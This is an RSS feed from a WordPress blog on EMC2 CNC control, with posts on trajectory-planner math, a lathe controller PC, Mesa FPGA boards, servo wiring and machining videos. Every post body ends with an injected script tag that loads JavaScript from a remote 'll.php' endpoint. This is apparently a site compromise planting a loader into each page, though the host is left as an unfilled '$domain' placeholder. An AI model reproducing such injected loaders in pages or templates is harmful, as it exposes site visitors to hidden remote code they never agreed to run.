<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>anderswallin.net &#187; EMC2</title>
	<atom:link href="http://www.anderswallin.net/tag/emc2/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.anderswallin.net</link>
	<description></description>
	<lastBuildDate>Wed, 08 Feb 2012 12:05:52 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>EMC2 tpRunCycle revisited</title>
		<link>http://www.anderswallin.net/2011/05/emc2-tpruncycle-revisited/</link>
		<comments>http://www.anderswallin.net/2011/05/emc2-tpruncycle-revisited/#comments</comments>
		<pubDate>Thu, 19 May 2011 20:24:07 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[EMC]]></category>
		<category><![CDATA[EMC2]]></category>
		<category><![CDATA[latex]]></category>
		<category><![CDATA[trajectory]]></category>

		<guid isPermaLink="false">http://www.anderswallin.net/?p=4408</guid>
		<description><![CDATA[I started this EMC2 wiki page in 2006 when trying to understand how trajectory control is done in EMC2. Improving the trajectory controller is a topic that comes up on the EMC2 discussion list every now and then. The problem is just that almost nobody actually takes the time and effort to understand how the [...]]]></description>
			<content:encoded><![CDATA[<p>I started <a href="http://wiki.linuxcnc.org/cgi-bin/emcinfo.pl?Simple_Tp_Notes">this EMC2 wiki page in 2006</a> when trying to understand how trajectory control is done in EMC2. Improving the trajectory controller is a topic that comes up on the EMC2 discussion list every now and then. The problem is just that almost nobody actually takes the time and effort to understand how the trajectory planner works and documents it...</p>
<p>A <a href="http://permalink.gmane.org/gmane.linux.distributions.emc.devel/4414">recent post on the dev-list</a> has asked why the math I wrote down in 2006 isn't what's in the code, so here we go:</p>
<p><a href="http://www.anderswallin.net/wp-content/uploads/2011/05/tp_runcycle1.jpg"><img class="alignnone size-full wp-image-4409" title="tp_runcycle" src="http://www.anderswallin.net/wp-content/uploads/2011/05/tp_runcycle1.jpg" alt="" width="560" height="420" /></a></p>
<p>I will use the same shorthand symbols as used on the wiki page. We are at coordinate P ("progress") we want to get to T ("target") we are currently travelling at vc ("current velocity"), the next velocity suggestion we want to calculate is vs ("suggested velocity), maximum allowed acceleration is am ("max accel") and the move takes tm ("move time") to complete. The cycle-time is ts ("sampling time"). The new addition compared to my 2006 notes is that now the current velocity vc as well as the cycle time ts is taken into account.</p>
<p>As before, the area under the velocity curve is the distance we will travel, and that needs to be equal to the distance we have left, i.e. (T-P). (now trying new <a href="http://en.wikipedia.org/wiki/LaTeX">latex</a>-plugin for math:) (EQ1)</p>
<p><p style='text-align:center;'><span class='MathJax_Preview'><img src='http://www.anderswallin.net/wp-content/plugins/latex/cache/tex_c85ac7be33b335f85b83b78b283bfab7.gif' style='vertical-align: middle; border: none;' class='tex' alt="T-P = {1 \over 2} t_s v_c + {1 \over 2} t_m v_s " /></span><script type='math/tex;  mode=display'>T-P = {1 \over 2} t_s v_c + {1 \over 2} t_m v_s </script></p></p>
<p>Note how the first term is the area of the red triangle and the second therm is the area of the green triangle. Now we want to calculate a new suggested velocity vs so that using the maximum deceleration our move will come to a halt at time tm, so(EQ2):<br />
<p style='text-align:center;'><span class='MathJax_Preview'><img src='http://www.anderswallin.net/wp-content/plugins/latex/cache/tex_37a77bf47929dfd71e74ec847dc321dc.gif' style='vertical-align: middle; border: none;' class='tex' alt=" v_s = a_m (t_m - t_s)" /></span><script type='math/tex;  mode=display'> v_s = a_m (t_m - t_s)</script></p><br />
Inserting this into the first equation gives (EQ3):<br />
<p style='text-align:center;'><span class='MathJax_Preview'><img src='http://www.anderswallin.net/wp-content/plugins/latex/cache/tex_5a9ea4c349e0db0e54ce1fafb3657fe4.gif' style='vertical-align: middle; border: none;' class='tex' alt="T-P = {1 \over 2} t_s v_c + {1 \over 2} t_m a_m (t_m - t_s) " /></span><script type='math/tex;  mode=display'>T-P = {1 \over 2} t_s v_c + {1 \over 2} t_m a_m (t_m - t_s) </script></p><br />
this leads to a quadratic eqation in tm (EQ4):<br />
<p style='text-align:center;'><span class='MathJax_Preview'><img src='http://www.anderswallin.net/wp-content/plugins/latex/cache/tex_a01b4028a380212946344ba5c9995f2e.gif' style='vertical-align: middle; border: none;' class='tex' alt="{1 \over 2} a_m t_m^2 - {1 \over 2} a_m t_s t_m + {1 \over 2} t_s v_c - (T-P) = 0" /></span><script type='math/tex;  mode=display'>{1 \over 2} a_m t_m^2 - {1 \over 2} a_m t_s t_m + {1 \over 2} t_s v_c - (T-P) = 0</script></p><br />
with the solution (we obviously want the plus sign)(EQ5)<br />
<p style='text-align:center;'><span class='MathJax_Preview'><img src='http://www.anderswallin.net/wp-content/plugins/latex/cache/tex_7dccf5117f1aa12ec860d8a2850fb1eb.gif' style='vertical-align: middle; border: none;' class='tex' alt=" t_m = {1 \over 2}t_s + \sqrt{ {t_s^2 \over 4} - {t_s v_c - 2(T-P) \over a_m} }" /></span><script type='math/tex;  mode=display'> t_m = {1 \over 2}t_s + \sqrt{ {t_s^2 \over 4} - {t_s v_c - 2(T-P) \over a_m} }</script></p><br />
which we can insert back into EQ2 to get (EQ6) (this is the new suggested max velocity. we obviously apply the accel and velocity clamps to this as noted before)<br />
<p style='text-align:center;'><span class='MathJax_Preview'><img src='http://www.anderswallin.net/wp-content/plugins/latex/cache/tex_31bfa638f6a50932c96a62159898eef5.gif' style='vertical-align: middle; border: none;' class='tex' alt=" v_s = a_m (t_m - t_s) = -{1 \over 2 }a_m t_s + a_m \sqrt{ {t_s^2 \over 4} - {t_s v_c - 2(T-P) \over a_m} } " /></span><script type='math/tex;  mode=display'> v_s = a_m (t_m - t_s) = -{1 \over 2 }a_m t_s + a_m \sqrt{ {t_s^2 \over 4} - {t_s v_c - 2(T-P) \over a_m} } </script></p><br />
It is left as an (easy) exercise for the reader to show that this is equivalent to the code below (note how those silly programmers save memory by first using the variable discr for a distance with units of length and then on the next line using it for something else which has units of time squared):</p>

<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;">discr <span style="color: #339933;">=</span> <span style="color:#800080;">0.5</span> <span style="color: #339933;">*</span> tc<span style="color: #339933;">-&amp;</span>gt<span style="color: #339933;">;</span>cycle_time <span style="color: #339933;">*</span> tc<span style="color: #339933;">-&amp;</span>gt<span style="color: #339933;">;</span>currentvel <span style="color: #339933;">-</span> <span style="color: #009900;">&#40;</span>tc<span style="color: #339933;">-&amp;</span>gt<span style="color: #339933;">;</span>target <span style="color: #339933;">-</span> tc<span style="color: #339933;">-&amp;</span>gt<span style="color: #339933;">;</span>progress<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
discr <span style="color: #339933;">=</span> <span style="color:#800080;">0.25</span> <span style="color: #339933;">*</span> pmSq<span style="color: #009900;">&#40;</span>tc<span style="color: #339933;">-&amp;</span>gt<span style="color: #339933;">;</span>cycle_time<span style="color: #009900;">&#41;</span> <span style="color: #339933;">-</span> <span style="color:#800080;">2.0</span> <span style="color: #339933;">/</span> tc<span style="color: #339933;">-&amp;</span>gt<span style="color: #339933;">;</span>maxaccel <span style="color: #339933;">*</span> discr<span style="color: #339933;">;</span>
newvel <span style="color: #339933;">=</span> maxnewvel <span style="color: #339933;">=</span> <span style="color: #339933;">-</span><span style="color:#800080;">0.5</span> <span style="color: #339933;">*</span> tc<span style="color: #339933;">-&amp;</span>gt<span style="color: #339933;">;</span>maxaccel <span style="color: #339933;">*</span> tc<span style="color: #339933;">-&amp;</span>gt<span style="color: #339933;">;</span>cycle_time <span style="color: #339933;">+</span>tc<span style="color: #339933;">-&amp;</span>gt<span style="color: #339933;">;</span>maxaccel <span style="color: #339933;">*</span> pmSqrt<span style="color: #009900;">&#40;</span>discr<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<p>over and out.<script type="text/javascript" src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.anderswallin.net/2011/05/emc2-tpruncycle-revisited/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>EMC2 upgrade</title>
		<link>http://www.anderswallin.net/2010/11/emc2-upgrade/</link>
		<comments>http://www.anderswallin.net/2010/11/emc2-upgrade/#comments</comments>
		<pubDate>Sat, 13 Nov 2010 17:50:25 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[EMC]]></category>
		<category><![CDATA[Lathe]]></category>
		<category><![CDATA[atom]]></category>
		<category><![CDATA[EMC2]]></category>
		<category><![CDATA[ubuntu]]></category>

		<guid isPermaLink="false">http://www.anderswallin.net/?p=3941</guid>
		<description><![CDATA[I've upgraded Ubuntu and EMC2 on the Atom 330 machine I have for controlling the lathe. The Atom 330 is a dual-core chip, but with Hyper Threading the OS can see four cores. That's not good for real-time performance, so the first thing I did was turn off HT from the BIOS. Next I did [...]]]></description>
			<content:encoded><![CDATA[<p>I've upgraded Ubuntu and EMC2 on the <a href="http://en.wikipedia.org/wiki/List_of_Intel_Atom_microprocessors">Atom 330</a> machine I have for controlling the lathe. The Atom 330 is a dual-core chip, but with <a href="http://en.wikipedia.org/wiki/Hyper_threading">Hyper Threading</a> the OS can see four cores. That's not good for real-time performance, so the first thing I did was turn off HT from the BIOS. Next I did a distribution upgrade to 10.04LTS which downloaded about 1 Gig in an estimated 9 minutes (2Mb/s is OK I guess...). I then used the <a href="http://wiki.linuxcnc.org/cgi-bin/emcinfo.pl?Installing_EMC2">emc2-install script</a> which installs the real-time kernel and emc2, and finally I edited /boot/grub/menu.lst by adding "isolcpus=1" on the kernel line. This reserves one cpu core for real-time and the other for non-real-time tasks. Without "isolcpus=1" the <a href="http://wiki.linuxcnc.org/cgi-bin/emcinfo.pl?Latency-Test">latency-test</a> jitter values were easily 10k and more with a light load on the machine. With one core dedicated to real-time the jitter numbers start out at around 4k at light load and double to 7-8k under heavy load.</p>
<p>Here are some selected screenshots:</p>

<a href='http://www.anderswallin.net/2010/11/emc2-upgrade/lts_hyperthread/' title='lts_hyperthread'><img width="150" height="150" src="http://www.anderswallin.net/wp-content/uploads/2010/11/lts_hyperthread1-150x150.png" class="attachment-thumbnail" alt="lts_hyperthread" title="lts_hyperthread" /></a>
<a href='http://www.anderswallin.net/2010/11/emc2-upgrade/latency_load2/' title='latency_load2'><img width="150" height="150" src="http://www.anderswallin.net/wp-content/uploads/2010/11/latency_load21-150x150.png" class="attachment-thumbnail" alt="latency_load2" title="latency_load2" /></a>
<a href='http://www.anderswallin.net/2010/11/emc2-upgrade/latency_isolcpus/' title='latency_isolcpus'><img width="150" height="150" src="http://www.anderswallin.net/wp-content/uploads/2010/11/latency_isolcpus1-150x150.png" class="attachment-thumbnail" alt="latency_isolcpus" title="latency_isolcpus" /></a>
<a href='http://www.anderswallin.net/2010/11/emc2-upgrade/isolcpus_8k/' title='isolcpus_8k'><img width="150" height="150" src="http://www.anderswallin.net/wp-content/uploads/2010/11/isolcpus_8k1-150x150.png" class="attachment-thumbnail" alt="isolcpus_8k" title="isolcpus_8k" /></a>
<a href='http://www.anderswallin.net/2010/11/emc2-upgrade/1004upgrade/' title='1004upgrade'><img width="150" height="42" src="http://www.anderswallin.net/wp-content/uploads/2010/11/1004upgrade1-150x42.png" class="attachment-thumbnail" alt="1004upgrade" title="1004upgrade" /></a>

<p>Next stop is getting the X and Z servos moving, as well as the hefty 2 kW spindle servo.<script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.anderswallin.net/2010/11/emc2-upgrade/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>AXIS with PyVCP jogwheel</title>
		<link>http://www.anderswallin.net/2010/08/axis-with-pyvcp-jogwheel/</link>
		<comments>http://www.anderswallin.net/2010/08/axis-with-pyvcp-jogwheel/#comments</comments>
		<pubDate>Fri, 27 Aug 2010 15:12:55 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[EMC]]></category>
		<category><![CDATA[axis]]></category>
		<category><![CDATA[EMC2]]></category>
		<category><![CDATA[pyvcp]]></category>

		<guid isPermaLink="false">http://www.anderswallin.net/?p=3596</guid>
		<description><![CDATA[By popular demand, an example where a PyVCP jogwheel is hooked up to AXIS. The files needed to make this work are in here: axis_jogwheel.tar]]></description>
			<content:encoded><![CDATA[<p>By popular demand, an example where a PyVCP jogwheel is hooked up to AXIS.</p>
<p>The files needed to make this work are in here: <a href="http://www.anderswallin.net/wp-content/uploads/2010/08/axis_jogwheel.tar1.gz">axis_jogwheel.tar</a></p>
<p><a href="http://www.anderswallin.net/wp-content/uploads/2010/08/axis_with_jogwheel1.png"><img class="alignnone size-medium wp-image-3597" title="axis_with_jogwheel" src="http://www.anderswallin.net/wp-content/uploads/2010/08/axis_with_jogwheel1-300x195.png" alt="" width="300" height="195" /></a></p>
<p><script type="text/javascript" src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.anderswallin.net/2010/08/axis-with-pyvcp-jogwheel/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Mesa 5i20 breakout boards</title>
		<link>http://www.anderswallin.net/2010/01/mesa-5i20-breakout-boards/</link>
		<comments>http://www.anderswallin.net/2010/01/mesa-5i20-breakout-boards/#comments</comments>
		<pubDate>Sat, 16 Jan 2010 17:35:20 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[EMC]]></category>
		<category><![CDATA[Lathe]]></category>
		<category><![CDATA[EMC2]]></category>
		<category><![CDATA[m5i20]]></category>

		<guid isPermaLink="false">http://www.anderswallin.net/?p=2365</guid>
		<description><![CDATA[In 2006 I made optoisolator cards for the cnc-mill project, but now with the lathe I am using servo-drives and a VFD which mostly already have optoisolated inputs, so I will use these very simple breakout boards instead. There are two pitch-standards for the screw-terminals, an imperial one with a pitch of 5.08 mm (i.e. [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.anderswallin.net/wp-content/uploads/2010/01/m5i20_breakout_boards.jpg"><img class="alignnone size-medium wp-image-2366" title="m5i20_breakout_boards" src="http://www.anderswallin.net/wp-content/uploads/2010/01/m5i20_breakout_boards-625x468.jpg" alt="" width="625" height="468" /></a></p>
<p>In 2006 I made <a href="http://www.anderswallin.net/2006/08/optoisolator-cards-for-mesa-5i20-servocard/">optoisolator cards</a> for the cnc-mill project, but now with the <a href="http://www.anderswallin.net/2009/11/jhq-lathe/">lathe</a> I am using servo-drives and a VFD which mostly already have optoisolated inputs, so I will use these very simple breakout boards instead. There are two pitch-standards for the screw-terminals, an imperial one with a pitch of 5.08 mm (i.e. 0.2 inches), and a metric one with 5.0 mm pitch. These boards are for 5.0 mm.</p>
<p>Pads logic and layout files: <a href="http://www.anderswallin.net/wp-content/uploads/2010/01/2010_01_16_m5i20_breakout_board.zip">2010_01_16_m5i20_breakout_board</a></p>
<p>Etch-mask (PDF): <a href="http://www.anderswallin.net/wp-content/uploads/2010/01/etch-mask.pdf">etch-mask</a></p>
<p><a href="http://www.anderswallin.net/wp-content/uploads/2010/01/breakout_logic.png"><img class="alignnone size-medium wp-image-2369" title="breakout_logic" src="http://www.anderswallin.net/wp-content/uploads/2010/01/breakout_logic-625x395.png" alt="" width="625" height="395" /></a><script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.anderswallin.net/2010/01/mesa-5i20-breakout-boards/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Atom330/ITX computer for EMC2 lathe-control</title>
		<link>http://www.anderswallin.net/2010/01/atom330itx-computer-for-emc2-lathe-control/</link>
		<comments>http://www.anderswallin.net/2010/01/atom330itx-computer-for-emc2-lathe-control/#comments</comments>
		<pubDate>Tue, 05 Jan 2010 10:23:33 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Lathe]]></category>
		<category><![CDATA[atom]]></category>
		<category><![CDATA[EMC2]]></category>
		<category><![CDATA[itx]]></category>

		<guid isPermaLink="false">http://www.anderswallin.net/?p=2327</guid>
		<description><![CDATA[I put together this small computer which will be used to control the lathe. The components for this kind of box are quite inexpensive: D945GCLF2 motherboard including 1.6 GHz Atom330 CPU, 76 eur Codegen MX31 case including 420W PSU, 46 eur 2Gb DDR2 memory stick, 46eur Samsung 320Gb HDD, 44eur Labtec keyaboard + mouse, 17eur [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.anderswallin.net/wp-content/uploads/2010/01/040120102061.jpg"><img class="alignnone size-medium wp-image-2329" title="04012010206" src="http://www.anderswallin.net/wp-content/uploads/2010/01/040120102061-491x625.jpg" alt="" width="491" height="625" /></a></p>
<p>I put together this small computer which will be used to control the lathe. The components for this kind of box are quite inexpensive:<br />
<a href="http://www.intel.com/products/desktop/motherboards/D945GCLF2-D945GCLF2D/D945GCLF2-D945GCLF2D-overview.htm">D945GCLF2 motherboard</a> including 1.6 GHz Atom330 CPU, 76 eur<br />
<a href="http://www.codegenworld.com/03_products/index.asp?max_id_search=11&amp;min_id_search=49&amp;pro_id_search=398">Codegen MX31 case</a> including 420W PSU, 46 eur<br />
2Gb DDR2 memory stick, 46eur<br />
Samsung 320Gb HDD, 44eur<br />
Labtec keyaboard + mouse, 17eur</p>
<p>Total:  229 eur (no display) parts from <a href="http://www.jimmspc.fi/">jimms-pc</a> and <a href="http://www.verkkokauppa.com/">verkkokauppa.com</a></p>
<p><a href="http://www.anderswallin.net/wp-content/uploads/2010/01/04012010205.jpg"><img class="alignnone size-medium wp-image-2330" title="04012010205" src="http://www.anderswallin.net/wp-content/uploads/2010/01/04012010205-625x468.jpg" alt="" width="625" height="468" /></a></p>
<p>The motherboard has one PCI-slot for a <a href="http://mesanet.com/">Mesa</a> 5I20 FPGA-card which provides 72 digital I/O pins for real-time control.</p>
<p><a href="http://www.anderswallin.net/wp-content/uploads/2010/01/04012010207.jpg"><img class="alignnone size-medium wp-image-2331" title="04012010207" src="http://www.anderswallin.net/wp-content/uploads/2010/01/04012010207-625x468.jpg" alt="" width="625" height="468" /></a></p>
<p>Here is the D945GCLF2 motherboard. The CPU doesn't need a fan, but there is a small fan for the PCI-controller(?).</p>
<p><a href="http://wiki.linuxcnc.org/cgi-bin/emcinfo.pl?Latency-Test">Realtime performace</a> should be OK, I was getting about 10 us of jitter for a 1 ms thread.<script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.anderswallin.net/2010/01/atom330itx-computer-for-emc2-lathe-control/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Mesa electronics 5I20 fpga-card</title>
		<link>http://www.anderswallin.net/2009/12/mesa-electronics-5i20-fpga-card/</link>
		<comments>http://www.anderswallin.net/2009/12/mesa-electronics-5i20-fpga-card/#comments</comments>
		<pubDate>Thu, 03 Dec 2009 15:56:04 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Lathe]]></category>
		<category><![CDATA[EMC2]]></category>
		<category><![CDATA[fpga]]></category>
		<category><![CDATA[lathe]]></category>

		<guid isPermaLink="false">http://www.anderswallin.net/2009/12/mesa-electronics-5i20-fpga-card/</guid>
		<description><![CDATA[This PCI-card with an FPGA and 72 I/O lines will be used to control the lathe. $199 from Mesa electronics]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.anderswallin.net/wp-content/uploads/2009/12/5i20.jpg"><img class="alignnone size-medium wp-image-2086" title="5i20" src="http://www.anderswallin.net/wp-content/uploads/2009/12/5i20-625x454.jpg" alt="5i20" width="625" height="454" /></a><br />
This PCI-card with an FPGA and 72 I/O lines will be used to control the lathe.</p>
<p>$199 from <a href="http://mesanet.com/">Mesa electronics</a><script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.anderswallin.net/2009/12/mesa-electronics-5i20-fpga-card/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Servo setup with m5i20 and EMC2</title>
		<link>http://www.anderswallin.net/2008/09/servo-setup/</link>
		<comments>http://www.anderswallin.net/2008/09/servo-setup/#comments</comments>
		<pubDate>Fri, 26 Sep 2008 12:38:54 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[EMC]]></category>
		<category><![CDATA[CNC]]></category>
		<category><![CDATA[EMC2]]></category>
		<category><![CDATA[m5i20]]></category>

		<guid isPermaLink="false">http://www.anderswallin.net/?p=686</guid>
		<description><![CDATA[By popular demand, a schematic which roughly shows the electrical connections of our cnc-mill setup. Most of it fits inside one box (also shown here). The m5i20 I/O connectors are on the left, followed by the optoisolator cards. E-stop chain in the middle, servo-amplifiers and motors to the right. Jog wheel at the bottom. The small [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.anderswallin.net/wp-content/uploads/2008/09/dc_servo_schematic_2008jan19.pdf"><img class="alignnone size-medium wp-image-687" title="servo-schematic" src="http://www.anderswallin.net/wp-content/uploads/2008/09/servo-schematic.jpg" alt="" width="450" height="326" /></a></p>
<p>By popular demand, a schematic which roughly shows the electrical connections of our cnc-mill setup. Most of it fits inside <a href="http://www.anderswallin.net/2007/01/enclosure-for-servo-electronics/">one box</a> (also shown <a href="http://www.anderswallin.net/2007/04/servo-electronics-progress/">here</a>). The m5i20 I/O connectors are on the left, followed by the <a href="http://www.anderswallin.net/2006/08/optoisolator-cards-for-mesa-5i20-servocard/">optoisolator cards</a>. E-stop chain in the middle, servo-amplifiers and motors to the right. <a href="http://www.anderswallin.net/2006/11/jogging-emc2/">Jog wheel</a> at the bottom. The small <a href="http://www.anderswallin.net/2008/03/vfd-control-board/">VFD board I made later</a> is not shown.<script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.anderswallin.net/2008/09/servo-setup/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>5-axis simulation</title>
		<link>http://www.anderswallin.net/2008/06/5-axis-simulation/</link>
		<comments>http://www.anderswallin.net/2008/06/5-axis-simulation/#comments</comments>
		<pubDate>Tue, 17 Jun 2008 17:30:54 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[CNC]]></category>
		<category><![CDATA[EMC2]]></category>

		<guid isPermaLink="false">http://www.anderswallin.net/?p=448</guid>
		<description><![CDATA[The people at EMC2 Fest (webcam here) made this AVI of 5-axis machining a sphere using some custom g-code and povray. I've been playing around with vpython, so you can expect some CAM-related posts on drop-cutter in Python and associated 3D views or animations in the not too distant future.]]></description>
			<content:encoded><![CDATA[<p>The people at <a href="http://wiki.linuxcnc.org/cgi-bin/emcinfo.pl?EMC_Fest_2008">EMC2 Fest</a> (webcam <a href="http://linuxcnc.org/c_f/festcam.shtml">here</a>) made this AVI of 5-axis machining a sphere using some custom g-code and povray.</p>
<p><object width="425" height="344"><param name="movie" value="http://www.youtube.com/v/_tA-W7nTNSc&#038;hl=en"></param><embed src="http://www.youtube.com/v/_tA-W7nTNSc&#038;hl=en" type="application/x-shockwave-flash" width="425" height="344"></embed></object></p>
<p>I've been playing around with <a href="http://vpython.org/">vpython</a>, so you can expect some CAM-related posts on drop-cutter in Python and associated 3D views or animations in the not too distant future.<script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.anderswallin.net/2008/06/5-axis-simulation/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Tiller arm machining</title>
		<link>http://www.anderswallin.net/2008/06/tiller-arm-machining/</link>
		<comments>http://www.anderswallin.net/2008/06/tiller-arm-machining/#comments</comments>
		<pubDate>Wed, 11 Jun 2008 21:58:17 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[CNC]]></category>
		<category><![CDATA[EMC2]]></category>
		<category><![CDATA[rigid-tapping]]></category>

		<guid isPermaLink="false">http://www.anderswallin.net/?p=446</guid>
		<description><![CDATA[Here's a setup wit three vises for machining model yacht tiller arms. The parts are rotated 90 degrees between the first stage (leftmost) and the second stage (middle), and then again 90 degrees for the final stage (right). There's some rigid tapping at around 8:20.]]></description>
			<content:encoded><![CDATA[<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="425" height="344" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="src" value="http://www.youtube.com/v/gTJ0kC3AQus&amp;hl=en" /><embed type="application/x-shockwave-flash" width="425" height="344" src="http://www.youtube.com/v/gTJ0kC3AQus&amp;hl=en"></embed></object></p>
<p>Here's a setup wit three vises for machining model yacht tiller arms. The parts are rotated 90 degrees between the first stage (leftmost) and the second stage (middle), and then again 90 degrees for the final stage (right). There's some rigid tapping at around 8:20.<script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.anderswallin.net/2008/06/tiller-arm-machining/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Rigid Tapping</title>
		<link>http://www.anderswallin.net/2008/06/rigid-tapping/</link>
		<comments>http://www.anderswallin.net/2008/06/rigid-tapping/#comments</comments>
		<pubDate>Mon, 02 Jun 2008 05:34:24 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[CNC]]></category>
		<category><![CDATA[EMC2]]></category>
		<category><![CDATA[rigid-tapping]]></category>

		<guid isPermaLink="false">http://www.anderswallin.net/?p=366</guid>
		<description><![CDATA[We've mounted a 500 cpr encoder on the spindle-motor which means it's possible to do rigid tapping. Above some spot-drilling, then a 2.5 mm drill, and then an M3 tap at 500 RPM and 0.5 mm Z-feed per revolution. Below the same thing but with a 5 mm drill and an M6 tap (1 mm [...]]]></description>
			<content:encoded><![CDATA[<p><object width="425" height="355"><param name="movie" value="http://www.youtube.com/v/9hrduckmcd4"></param><param name="wmode" value="transparent"></param><embed src="http://www.youtube.com/v/9hrduckmcd4" type="application/x-shockwave-flash" wmode="transparent" width="425" height="355"></embed></object></p>
<p>We've mounted a 500 cpr encoder on the spindle-motor which means it's possible to do rigid tapping. Above some spot-drilling, then a 2.5 mm drill, and then an M3 tap at 500 RPM and 0.5 mm Z-feed per revolution. Below the same thing but with a 5 mm drill and an M6 tap (1 mm Z-feed per rev).</p>
<p><object width="425" height="355"><param name="movie" value="http://www.youtube.com/v/uhaKQH2CCGI&#038;hl=en"></param><param name="wmode" value="transparent"></param><embed src="http://www.youtube.com/v/uhaKQH2CCGI&#038;hl=en" type="application/x-shockwave-flash" wmode="transparent" width="425" height="355"></embed></object></p>
<p>Cool stuff!<br />
<script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.anderswallin.net/2008/06/rigid-tapping/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>

